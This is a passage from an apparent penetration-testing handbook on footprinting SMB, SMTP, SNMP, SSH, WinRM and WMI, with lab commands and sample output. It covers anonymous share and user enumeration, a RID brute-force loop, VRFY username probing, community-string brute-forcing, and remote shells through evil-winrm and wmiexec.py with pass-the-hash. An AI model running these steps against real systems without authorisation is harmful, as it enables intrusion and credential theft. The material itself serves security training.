All Printers browseable = no path = /var/spool/samba printable = yes guest ok = no [print$] comment = Printer Drivers path = /var/lib/samba/printers ``` *** ## Dangerous Settings Some Samba settings expose far more than the administrator intends. Ask, for each one: *what convenience does it give an employee — and what does it hand an attacker who gets in?* | Setting | Effect | Risk | | ----------------------------------- | ------------------------------------------ | --------------------------------------------------------------- | | `browseable = yes` | Lets clients list available shares/folders | An attacker who gains access can browse the whole structure too | | `read only = no` / `writable = yes` | Allows writing to the share | Attacker can drop payloads or modify files | | `guest ok = yes` | Allows access without credentials | Anonymous access to share contents | | `map to guest = bad user` | Maps failed logins to the guest account | Turns any bad login into anonymous access | | `create mask` / `directory mask` | Permissions on new files | Loose masks create world-readable/writable files | `browseable = yes` combined with `guest ok = yes` is the classic leak — anyone can connect anonymously and enumerate every share and its contents. Add a writable share and it becomes a payload drop. A test share to see how these settings affect enumeration might look like: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} [notes] comment = CheckIT path = /mnt/notes/ browseable = yes read only = no writable = yes guest ok = yes ``` After editing `smb.conf`, the service has to be restarted (`systemctl restart smbd`) for changes to take effect. Administrators can review active connections with `smbstatus`, which shows the Samba version plus who is connected, from which host, and to which share. *** ## Footprinting the Service Nmap has plenty of SMB NSE scripts, but they can be slow and shallow — manual interaction usually surfaces far more. Start with a scan to confirm the service, then go manual. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -sC -p139,445 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 Service Info: Host: DEVSM ``` ### smbclient — Listing and Connecting to Shares List the shares (a null/anonymous session needs no credentials): ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} smbclient -N -L //10.129.14.128 ``` ``` Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers home Disk INFREIGHT Samba dev Disk DEVenv notes Disk CheckIT IPC$ IPC IPC Service (DEVSM) ``` Connect to a share and browse it: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} smbclient //10.129.14.128/notes ``` ``` Enter WORKGROUP\user's password: smb: \> ls . D 0 Tue Jun 25 12:21:43 2024 .. D 0 Tue Jun 25 12:21:43 2024 prep-prod.txt N 402 Tue Jun 25 12:21:43 2024 smb: \> get prep-prod.txt ``` Use `get` to download interesting files. smbclient also lets you run **local** system commands with a leading `!` without dropping the connection: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} smb: \> !ls -la ``` *** ## RPC Enumeration When a share alone isn't enough, **rpcclient** lets you perform MS-RPC functions against the server — passing parameters and reading back values. This is where anonymous access really leaks information. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rpcclient -U "" -N 10.129.14.128 ``` Useful rpcclient queries: | Command | Purpose | | ------------------------- | ----------------------------- | | `srvinfo` | Server information | | `enumdomains` | Enumerate deployed domains | | `querydominfo` | Domain, server, and user info | | `netshareenumall` | Enumerate all shares | | `netsharegetinfo ` | Info about a specific share | | `enumdomusers` | Enumerate all domain users | | `queryuser ` | Info about a specific user | A typical anonymous enumeration session: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} rpcclient $> enumdomusers user:[mrb3n] rid:[0x3e8] user:[cry0l1t3] rid:[0x3e9] rpcclient $> queryuser 0x3e9 User Name : cry0l1t3 Full Name : Cry0l1t3 Home Drive : \\dev\cry0l1t3 Profile Path: \\dev\cry0l1t3\profile ``` Anonymous RPC access is dangerous because of what it reveals — once it discloses **usernames**, those become targets for password brute-forcing. One over-permissive setting can put the whole network at risk. ### RID Brute-Forcing Sometimes most commands are blocked, but `queryuser ` still works by RID. You can brute-force the RID range to pull user info anyway. A Bash loop over rpcclient does the job: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} for i in $(seq 500 1100); do rpcclient -N -U "" 10.129.14.128 \ -c "queryuser 0x$(printf '%x\n' $i)" \ | grep "User Name\|user_rid\|group_rid" && echo "" done ``` Use the results to identify a **group's RID**, then query the whole group. ### Impacket samrdump.py The same user enumeration is available through Impacket's `samrdump.py`: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} samrdump.py 10.129.14.128 ``` ``` [*] Retrieving endpoint list from 10.129.14.128 [*] Looking up users in domain DEVSM Found user: mrb3n, uid = 1000 Found user: cry0l1t3, uid = 1001 ``` *** ## Automated SMB Enumeration Several tools wrap up the queries above. ### smbmap & netexec `smbmap` shows shares and your access level on each; `netexec` (the successor to crackmapexec) does the same fast and across whole subnets: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # smbmap — shares and permissions smbmap -H 10.129.14.128 # netexec — shares, version, signing netexec smb 10.129.14.128 --shares netexec smb 10.129.14.128 -u '' -p '' --shares # null session ``` ``` Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers home NO ACCESS INFREIGHT Samba dev READ ONLY DEVenv notes READ, WRITE CheckIT IPC$ NO ACCESS IPC Service ``` ### enum4linux-ng `enum4linux-ng` (a rewrite of the older enum4linux) automates a large portion of these queries in one shot — shares, users, groups, OS info, and password policy: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} enum4linux-ng -A 10.129.14.128 ``` ``` =====================( Users on 10.129.14.128 )===================== [+] Found 3 users: mrb3n (RID 1000) cry0l1t3 (RID 1001) sjten (RID 1002) ==================( Shares on 10.129.14.128 )================== notes - READ/WRITE dev - READ ``` *** ## Quick Reference | Command | Purpose | | ---------------------------------- | -------------------------------- | | `nmap -sV -sC -p139,445 ` | Confirm service and version | | `smbclient -N -L //` | List shares (null session) | | `smbclient ///` | Connect to and browse a share | | `rpcclient -U "" -N ` | Anonymous RPC session | | `enumdomusers` / `queryuser ` | Enumerate users via RPC | | `samrdump.py ` | Impacket user enumeration | | `smbmap -H ` | Shares + permission levels | | `netexec smb --shares` | Fast share enumeration | | `enum4linux-ng -A ` | All-in-one automated enumeration | **The footprinting flow:** nmap to confirm → smbclient to list/browse shares → rpcclient for users and domain info → RID brute-force if locked down → enum4linux-ng / netexec to automate and confirm. *** *Next: [SMTP](/tech/services/smtp) — user enumeration via VRFY/EXPN and open-relay testing.* # Smtp Source: https://hackbook.dudji.com/tech/services/smtp # SMTP > SMTP is how mail moves across the internet — and a chatty or misconfigured mail server will confirm valid usernames for you and, at its worst, relay spoofed mail for anyone who asks. VRFY enumeration and open-relay testing are the two things you check every time. **Protocol:** TCP · **Port:** 25 (and 587 for submission, 465 for SMTPS) *** ## What Is SMTP? The **Simple Mail Transfer Protocol (SMTP)** sends email across an IP network. It's usually paired with **IMAP** or **POP3**, which handle *fetching* mail, while SMTP handles *sending*. Once an email is transmitted the connection closes, and the server forwards it on toward its destination. By default SMTP is **unencrypted** — commands, data, and authentication all travel in plain text — so it's typically wrapped in **SSL/TLS**. To fight spam, modern servers use **ESMTP** with **SMTP-Auth**, so only authorized users can send. When people say "SMTP" today, they usually mean ESMTP. ### How Mail Flows The journey of a message touches several agents: 1. The client (**MUA — Mail User Agent**) splits the email into a header and body and hands it to the SMTP server. 2. The server's **MTA (Mail Transfer Agent)** checks the mail for size and spam, then stores it. 3. An optional **MSA (Mail Submission Agent)**, also called a **relay server**, validates the email's origin to relieve the MTA. 4. The MTA looks up the recipient mail server's IP in **DNS**. 5. At the destination, the packets are reassembled and the **MDA (Mail Delivery Agent)** drops the message in the recipient's mailbox. **Open relays** — servers that forward mail for anyone — are abused to send spam en masse with forged sender addresses (mail spoofing). Defenses like **DKIM** (DomainKeys Identified Mail) and **SPF** (Sender Policy Framework) exist to reject or quarantine suspicious mail. *** ## Default Configuration A common Linux MTA is **Postfix**, configured in `/etc/postfix/main.cf`. SMTP is driven by a small set of commands that tell the server what to do: | Command | Purpose | | --------------- | ---------------------------------------------------------------------- | | `HELO` / `EHLO` | Open the session and identify the client (`EHLO` is the ESMTP version) | | `MAIL FROM:` | Specify the sender | | `RCPT TO:` | Specify the recipient | | `DATA` | Begin the message body (ends with a lone `.`) | | `VRFY` | Verify whether a user exists | | `EXPN` | Expand a mailing list to its members | | `RSET` | Reset the session | | `QUIT` | Close the connection | *** ## Dangerous Settings To get past spam filters, a sender can route mail through a **relay server** that recipients trust — a known, verified SMTP server. Normally the sender must authenticate to the relay first. The problem: administrators often don't know which IP ranges they need to permit, so to avoid breaking mail flow they permit **all** of them. That's the open-relay misconfiguration you'll find on both external and internal tests. ### Open Relay Configuration ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/postfix/main.cf mynetworks = 0.0.0.0/0 ``` `mynetworks = 0.0.0.0/0` turns the server into an open relay — it'll send mail on behalf of anyone, from any address. That enables mass spam, but for a pentester the real value is **spoofing**: sending convincing internal email (phishing) and, in some setups, intercepting or reading mail. *** ## Footprinting the Service ### Nmap — Commands and Open-Relay Test The default `smtp-commands` script uses `EHLO` to list everything the server supports: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -p25 --script smtp-commands 10.129.14.128 ``` ``` PORT STATE SERVICE 25/tcp open smtp | smtp-commands: mail.inlanefreight.htb, PIPELINING, SIZE 10240000, |_VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN ``` The `smtp-open-relay` script runs 16 different tests to determine whether the server is an open relay. Add `-v` to see which tests run: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -p25 --script smtp-open-relay -v 10.129.14.128 ``` ``` | smtp-open-relay: Server is an open relay (16/16 tests) ``` ### Telnet — Interact Directly Use `telnet` to open a raw TCP session and drive the server by hand. Start with `HELO`/`EHLO`: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} telnet 10.129.14.128 25 ``` ``` 220 mail.inlanefreight.htb ESMTP Postfix (Ubuntu) EHLO inlanefreight.htb 250-mail.inlanefreight.htb 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250 8BITMIME ``` ### Enumerate Users with VRFY `VRFY` asks the server whether a user exists. It doesn't always work, but when it does it's a free username oracle: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} VRFY root ``` ``` 252 2.0.0 root VRFY nonexistent 550 5.1.1 : Recipient address rejected: User unknown ``` Depending on configuration, some servers return **code 252** for *every* address — confirming users that don't actually exist. Treat 252-for-everything as "VRFY enumeration is unreliable here." A full list of SMTP response codes is at [serversmtp.com](https://serversmtp.com/smtp-error/). ### smtp-user-enum — Brute-Force Usernames When `VRFY` is enabled, `smtp-user-enum` will run a wordlist through it: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} smtp-user-enum -M VRFY -U users.txt -t 10.129.14.128 -v ``` If results are flaky, increase the wait time between requests: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} smtp-user-enum -M VRFY -U users.txt -t 10.129.14.128 -v -w 15 ``` The `-M` mode can also be `EXPN` or `RCPT` if `VRFY` is disabled — those verbs sometimes leak users when `VRFY` doesn't. ### Metasploit — Enumerate Users The Metasploit auxiliary module does the same job and sometimes gets better results: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msfconsole use auxiliary/scanner/smtp/smtp_enum set RHOSTS 10.129.14.128 set USER_FILE users.txt run ``` ``` [+] 10.129.14.128:25 - Users found: admin, mailadmin, root, sysadmin ``` *** ## Quick Reference | Command | Purpose | | ---------------------------------------------- | ------------------------------- | | `nmap -p25 --script smtp-commands ` | List supported SMTP commands | | `nmap -p25 --script smtp-open-relay -v ` | Test for open relay (16 checks) | | `telnet 25` → `EHLO` | Manual interaction | | `VRFY ` | Check if a user exists | | `smtp-user-enum -M VRFY -U -t ` | Brute-force usernames | | `auxiliary/scanner/smtp/smtp_enum` | Metasploit user enumeration | **The footprinting flow:** nmap for supported commands → open-relay test → telnet in and try VRFY → automate with smtp-user-enum (fall back to EXPN/RCPT if VRFY is off) → confirm with Metasploit. *** *Next: [IMAP / POP3](/tech/services/imap-pop3) — reading mailboxes and hunting credentials in mail stores.* # Snmp Source: https://hackbook.dudji.com/tech/services/snmp # SNMP > SNMP exists to monitor and configure network devices — which means a device that speaks it will happily read out its own configuration, running processes, installed software, and sometimes credentials, to anyone who knows the community string. And that string is often just "public". **Protocol:** UDP · **Ports:** 161 (queries) · 162 (traps) *** ## What Is SNMP? **Simple Network Management Protocol** was built to monitor and remotely configure network devices — routers, switches, servers, printers, IoT devices, and more. It works in two directions: * **Queries (UDP 161):** the client actively requests information from a device's SNMP agent, and can also set values to change options and settings. The client always initiates. * **Traps (UDP 162):** data packets the SNMP server sends to the client *unprompted* — when a configured event occurs on the device, it fires a trap to notify the client. ### OID & MIB SNMP organizes everything into a giant hierarchical tree. An **OID (Object Identifier)** is a node in that tree, identified by a dotted sequence of integers (e.g. `1.3.6.1.2.1.1.1.0`). The longer the chain, the more specific the information. Many nodes contain nothing but references to the nodes below them. You can look OIDs up in the [Object Identifier Registry](https://www.alvestrand.no/objectid/). A **MIB (Management Information Base)** is a text file that makes those OIDs human-readable. It lists a device's queryable objects in a standardized tree, and for each OID gives a name, type, access rights, and description. MIBs are written in ASN.1-based ASCII. They don't contain data themselves — they explain *where* to find which information, what type it is, and what it looks like. In short: **the MIB translates the OID into something a human can understand.** ### Community Strings Community strings act as **passwords** — they determine whether requested information can be viewed. The catch is that in the older, still-common versions, they're transmitted in plain text. Many organizations still run **SNMPv2** because migrating to v3 is complex, even though the services need to stay up. | Version | Authentication | Encryption | Notes | | ----------- | --------------------- | ------------------------------------------ | ------------------------------------------------------------------ | | **SNMPv1** | None | None — plain text | First version. Anyone on the network can read and modify data | | **SNMPv2c** | Community string only | None — community string sent in plain text | The "c" = community-based. Security on par with v1, more functions | | **SNMPv3** | Username + password | Yes (pre-shared key) | Far more secure, far more complex to configure | SNMPv1 and v2c are the ones you exploit — no encryption and a single community string standing between you and the device's full configuration. Default strings like `public` (read) and `private` (read-write) are tried constantly because administrators so often leave them in place. *** ## Default Configuration The SNMP daemon's config (`/etc/snmp/snmpd.conf`) defines the basics: listening IPs and ports, the MIB/OIDs exposed, authentication, and the community strings. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/snmp/snmpd.conf sysLocation Datacenter-1 sysContact admin@inlanefreight.htb rocommunity public default rwcommunity private 10.129.14.0/24 ``` *** ## Dangerous Settings A handful of `snmpd.conf` directives hand over far too much: | Setting | Risk | | ------------------------------ | ------------------------------------------------------------------------------ | | `rwuser noauth` | Grants access to the **full OID tree without any authentication** | | `rwcommunity ` | Read-write access to the full OID tree, regardless of where requests originate | | `rwcommunity6 ` | Same as above, over IPv6 | `rwuser noauth` and a wide-open `rwcommunity` are the dangerous ones — they grant **read-write** access to the entire device with no real restriction. Read access leaks config; write access lets you *change* it. *** ## Footprinting the Service Three tools cover SNMP footprinting: * **snmpwalk** — query the OIDs and read their information * **onesixtyone** — brute-force community string *names* (since admins name them arbitrarily) * **braa** — once you have a string, brute-force individual OIDs to enumerate fast ### snmpwalk — Read the OID Tree With a known community string against a no-auth version (1 or 2c), `snmpwalk` dumps the device's information: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} snmpwalk -v2c -c public 10.129.14.128 ``` ``` iso.3.6.1.2.1.1.1.0 = STRING: "Linux inlanefreight 5.4.0-80-generic" iso.3.6.1.2.1.1.4.0 = STRING: "admin@inlanefreight.htb" iso.3.6.1.2.1.1.5.0 = STRING: "inlanefreight.htb" iso.3.6.1.2.1.1.6.0 = STRING: "Datacenter-1" iso.3.6.1.2.1.25.6.3.1.2.1 = STRING: "python3-pip" iso.3.6.1.2.1.25.4.2.1.2.1 = STRING: "/usr/bin/python3 /usr/local/bin/app.py --db-pass=Sup3rS3cr3t" ``` That kind of output — system version, contact, installed packages, and **process command lines that include passwords** — is exactly what a misconfigured SNMP service leaks. ### onesixtyone — Brute-Force Community Strings If you don't know the community string, brute-force it with `onesixtyone` and a SecLists wordlist: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt 10.129.14.128 ``` ``` Scanning 1 hosts, 3220 communities 10.129.14.128 [public] Linux inlanefreight 5.4.0-80-generic 10.129.14.128 [private] Linux inlanefreight 5.4.0-80-generic ``` Community strings bound to specific IPs are often named after the host, sometimes with symbols added to obscure them. In a large network of 100+ SNMP-managed servers, those labels tend to follow a **pattern** — so you can generate guesses with a tool like `crunch` to build custom wordlists. ### braa — Brute-Force OIDs Once you have a working community string, `braa` enumerates many OIDs quickly: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} braa public@10.129.14.128:.1.3.6.* ``` ``` 10.129.14.128:20ms:.1.3.6.1.2.1.1.1.0:Linux inlanefreight 5.4.0-80-generic 10.129.14.128:20ms:.1.3.6.1.2.1.1.5.0:inlanefreight.htb 10.129.14.128:20ms:.1.3.6.1.2.1.25.4.2.1.2.1:/usr/bin/python3 app.py --db-pass=... ``` Configuring SNMP yourself teaches more than any tutorial — the behavior varies a lot between setups. Spinning up a VM with snmpd and experimenting with different community-string and access configurations is the best way to build intuition for what you'll find in the field. *** ## Quick Reference | Command | Purpose | | -------------------------------------- | ------------------------------------ | | `snmpwalk -v2c -c ` | Walk the full OID tree | | `snmpwalk -v2c -c ` | Query a specific OID | | `onesixtyone -c ` | Brute-force community strings | | `braa @:.1.3.6.*` | Brute-force OIDs with a known string | **The footprinting flow:** try default strings (`public`, `private`) with snmpwalk → brute-force the string with onesixtyone if unknown → walk the tree for system info, processes, and credentials → use braa for fast OID enumeration once you're in. *** *Next: [SSH](/tech/services/ssh) — banner grabbing, authentication methods, and key-based access.* # Ssh Source: https://hackbook.dudji.com/tech/services/ssh # SSH > SSH is the most secure protocol you'll routinely meet — which is exactly why a foothold here matters. You rarely break SSH itself; you break in *through* it, with credentials you found elsewhere, a key left lying around, or password auth left enabled for brute-forcing. **Protocol:** TCP · **Port:** 22 *** ## What Is SSH? **Secure Shell (SSH)** lets two computers establish an encrypted, direct connection over an otherwise insecure network, on the standard **TCP port 22**. It's primarily a Linux/Unix tool but runs on Windows too with the right software. **SSH-2** (version 2) is the protocol you want to see — more advanced than SSH-1 in encryption, speed, stability, and security. SSH-1 is vulnerable to man-in-the-middle attacks; SSH-2 is not. The banner tells you which versions a server accepts (more on that below). OpenSSH supports six authentication methods: 1. Password authentication 2. Public-key authentication 3. Host-based authentication 4. Keyboard-interactive authentication 5. Challenge-response authentication 6. GSSAPI authentication Which methods are enabled shapes your approach — password auth means brute-forcing is on the table; public-key-only means you need to find a key. *** ## Default Configuration The OpenSSH server is governed by `sshd_config`, which ships with only a handful of settings configured by default. Notably, the default config enables **X11 forwarding** — which contained a command injection vulnerability in OpenSSH **7.2p1** back in 2016. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # /etc/ssh/sshd_config (relevant defaults) Port 22 PermitRootLogin prohibit-password PasswordAuthentication yes X11Forwarding yes ``` *** ## Dangerous Settings SSH is one of the most secure protocols available, but misconfigurations still open it up: | Setting | Risk | | ---------------------------- | ------------------------------------------------------------------------------ | | `PasswordAuthentication yes` | Enables brute-forcing a known username for its password | | `PermitRootLogin yes` | Lets you target `root` directly — brute-force or stolen creds land you as root | | `PermitEmptyPasswords yes` | Accounts with blank passwords become trivial logins | | `AllowTcpForwarding yes` | Enables port forwarding / pivoting through the host | `PasswordAuthentication yes` is the setting that makes SSH brute-forceable. Combined with `PermitRootLogin yes`, it means a successful guess against `root` hands you the whole box. When key-only auth is enforced instead, brute-forcing is off the table and you need to find a private key elsewhere on the engagement. *** ## Footprinting the Service ### ssh-audit — Fingerprint the Server `ssh-audit` checks both client- and server-side configuration and reports the version, supported authentication methods, and which encryption algorithms are in use — any of which can be attacked at the crypto level later: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ./ssh-audit.py 10.129.14.128 ``` ``` # general (gen) banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3 (gen) software: OpenSSH 8.2p1 (gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+ # key exchange algorithms (kex) curve25519-sha256 -- [info] available since OpenSSH 7.4 (kex) diffie-hellman-group14-sha1 -- [fail] using weak hashing algorithm # authentication methods (aut) password, publickey ``` The first lines reveal the **banner**, which discloses the OpenSSH version. Older versions carried vulnerabilities like **CVE-2020-14145**, which allowed an attacker to man-in-the-middle the initial connection attempt. ### Reading the Banner You'll meet various banners during a test. By default the banner shows the **protocol version** the server accepts, then the **server version**: | Banner | Meaning | | ------------------------ | ------------------------------------------------ | | `SSH-1.99-OpenSSH_3.9p1` | Accepts **both** SSH-1 and SSH-2 · OpenSSH 3.9p1 | | `SSH-2.0-OpenSSH_8.2p1` | Accepts **SSH-2 only** · OpenSSH 8.2p1 | A `1.99` protocol version is itself a finding — it means the server still accepts the insecure SSH-1. ### See Supported Auth Methods The verbose connection output reveals which authentication methods the server offers: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ssh -v user@10.129.14.128 ``` ``` debug1: Authentications that can continue: publickey,password ``` ### Specify the Authentication Method For brute-force attempts, force a specific method with the `PreferredAuthentications` option — this keeps the client from cycling through other methods first: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ssh -o PreferredAuthentications=password user@10.129.14.128 ``` *** ## Quick Reference | Command | Purpose | | ---------------------------------------------------- | ----------------------------------------- | | `ssh-audit.py ` | Fingerprint version, auth methods, crypto | | `ssh -v user@` | View supported authentication methods | | `ssh -o PreferredAuthentications=password user@` | Force password auth (for brute-forcing) | | `nc 22` | Grab the banner manually | **Banner reading:** `SSH--`. A `1.99` protocol version accepts insecure SSH-1; `2.0` is SSH-2 only. **The footprinting flow:** grab the banner for version/protocol → ssh-audit for auth methods and weak crypto → check for password auth → brute-force a known user, or hunt for a private key if key-only. *** *Next: [RDP](/tech/services/rdp) — Windows remote desktop, NLA, and credential-based access.* # Winrm Source: https://hackbook.dudji.com/tech/services/winrm # WinRM > WinRM is remote PowerShell — and if your credentials land you in the Remote Management Users group, it gives you a clean, fully-featured shell on the target. On a Windows engagement, finding open WinRM with working creds is one of the most direct paths to interactive access. **Protocol:** TCP · **Ports:** 5985 (HTTP) · 5986 (HTTPS) *** ## What Is WinRM? **Windows Remote Management (WinRM)** is Windows' built-in, command-line-based remote management protocol. It uses **SOAP** (Simple Object Access Protocol) to connect to remote hosts and their applications. From Windows 10 onward it must be **explicitly enabled and configured** — it's not on by default on workstations. WinRM communicates over **TCP 5985 (HTTP)** and **5986 (HTTPS)**. In practice you'll often see only HTTP (5985) in use rather than the encrypted 5986. A companion component is **WinRS (Windows Remote Shell)**, which executes arbitrary commands on the remote system. It's included by default as far back as Windows 7. The account you use needs to be in the **Remote Management Users** group (or be an administrator) to connect. *** ## Footprinting the Service ### Nmap Scan the two WinRM ports. Seeing 5985 open (and 5986 often closed) is the common case: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -p5985,5986 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 5986/tcp closed wsmans ``` ### Test-WsMan — Check Reachability from Windows From a Windows host, the `Test-WsMan` cmdlet confirms whether a remote server is reachable via WinRM: ```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Test-WsMan 10.129.14.128 ``` ``` wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd ProductVendor : Microsoft Corporation ProductVersion : OS: 10.0.17763 SP: 0.0 Stack: 3.0 ``` A response like this means WinRM is up and answering. ### evil-winrm — Connect from Linux On Linux, `evil-winrm` is the go-to tool for interacting with WinRM. With valid credentials it drops you into a clean PowerShell session: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} evil-winrm -i 10.129.14.128 -u admin -p Password123 ``` ``` Evil-WinRM shell v3.5 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\admin\Documents> ``` `evil-winrm` also supports **pass-the-hash** (`-H `), so a recovered hash works just as well as a password — no cracking required. It has built-in helpers for uploading files and loading scripts, making it the natural first stop once you've found admin or Remote Management Users credentials. *** ## Quick Reference | Command | Purpose | | ---------------------------------------- | ------------------------------- | | `nmap -sV -p5985,5986 ` | Detect WinRM (HTTP/HTTPS) | | `Test-WsMan ` | Check reachability from Windows | | `evil-winrm -i -u -p ` | Connect from Linux | | `evil-winrm -i -u -H ` | Connect via pass-the-hash | **The footprinting flow:** nmap for 5985/5986 → confirm with Test-WsMan → connect with evil-winrm using found credentials or a recovered hash. *** *Next: [WMI](/tech/services/wmi) — Windows Management Instrumentation and remote command execution.* # Wmi Source: https://hackbook.dudji.com/tech/services/wmi # WMI > WMI is the master control interface for Windows — read and write access to almost every setting on the system. For an attacker with credentials, that translates directly into remote command execution, and tools like `wmiexec.py` turn it into a shell. **Protocol:** TCP · **Port:** 135 (then a random high port) *** ## What Is WMI? **Windows Management Instrumentation (WMI)** is Microsoft's implementation and extension of the **Common Information Model (CIM)** — the core of the standardized **WBEM** (Web-Based Enterprise Management) framework, adapted for Windows. WMI provides **read and write access to almost every setting** on a Windows system. That makes it the single most critical interface for administering and remotely maintaining Windows machines, whether PCs or servers — and exactly why it's so valuable to an attacker. It's typically accessed through **PowerShell**, **VBScript**, or the **WMIC** console. WMI isn't one program — it's a collection of programs and databases (repositories) working together. *** ## Footprinting the Service WMI communication always **initializes on TCP port 135**, then moves to a randomly assigned high port once the connection is established. That two-stage behavior is the tell when you see it in a scan. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} nmap -sV -p135 10.129.14.128 ``` ``` PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC ``` ### wmiexec.py — Remote Command Execution Impacket's `wmiexec.py` uses WMI to execute commands on a remote host with valid credentials, giving you a semi-interactive shell: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} wmiexec.py admin:Password123@10.129.14.128 ``` ``` Impacket v0.11.0 - Copyright 2023 Fortra [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute C:\>whoami inlanefreight\admin ``` `wmiexec.py` runs each command as a new process via WMI rather than holding an open session, which makes it **stealthier than PsExec** — it doesn't create a service on the target. It also supports pass-the-hash (`-hashes :`), so a recovered hash works in place of a password. *** ## Quick Reference | Command | Purpose | | -------------------------------------- | --------------------------- | | `nmap -sV -p135 ` | Detect the WMI/RPC endpoint | | `wmiexec.py user:pass@` | Remote command execution | | `wmiexec.py -hashes : user@` | Execute via pass-the-hash | **The footprinting flow:** nmap for port 135 → execute commands remotely with wmiexec.py using found credentials or a recovered hash. Remember WMI moves to a random high port after the initial 135 handshake. *** *This concludes the Services chapter. Each protocol page stands on its own — when you see a port open, jump straight to its page for the footprinting flow.* # Architecture filesystem Source: https://hackbook.dudji.com/tech/windows/architecture-filesystem ## The Mindset The Windows file system isn't just trivia — it's a map. As a pentester you care about: * **Where can I write?** — `C:\ProgramData`, `C:\Temp`, user `AppData` — writable spots for payloads and hijacks * **Where do credentials hide?** — `AppData`, registry hives, config files * **Where does the OS keep its core files?** — `System32`, `WinSxS` — for DLL hijacking and binary replacement *** ## The Root Directory In Windows the root directory is a drive letter, usually `C:\` (the boot partition where the OS is installed). Other drives get other letters — `D:`, `E:`, and so on. The key directories on the boot partition: | Directory | What's There | Pentest Relevance | | --------------------- | ------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | | `Program Files` | 64-bit programs (on 64-bit systems) | Third-party software — check for weak permissions | | `Program Files (x86)` | 32-bit programs on 64-bit Windows | Same — often older, less-maintained apps | | `ProgramData` | Hidden folder for app data, accessible by all users regardless of who's running the program | **Frequently writable — prime spot for payloads and script hijacks** | | `Users` | User profiles, plus `Public` and `Default` | Hunt here for credentials, SSH keys, history | | `Users\Public` | Shared folder accessible to all users | Writable drop location | 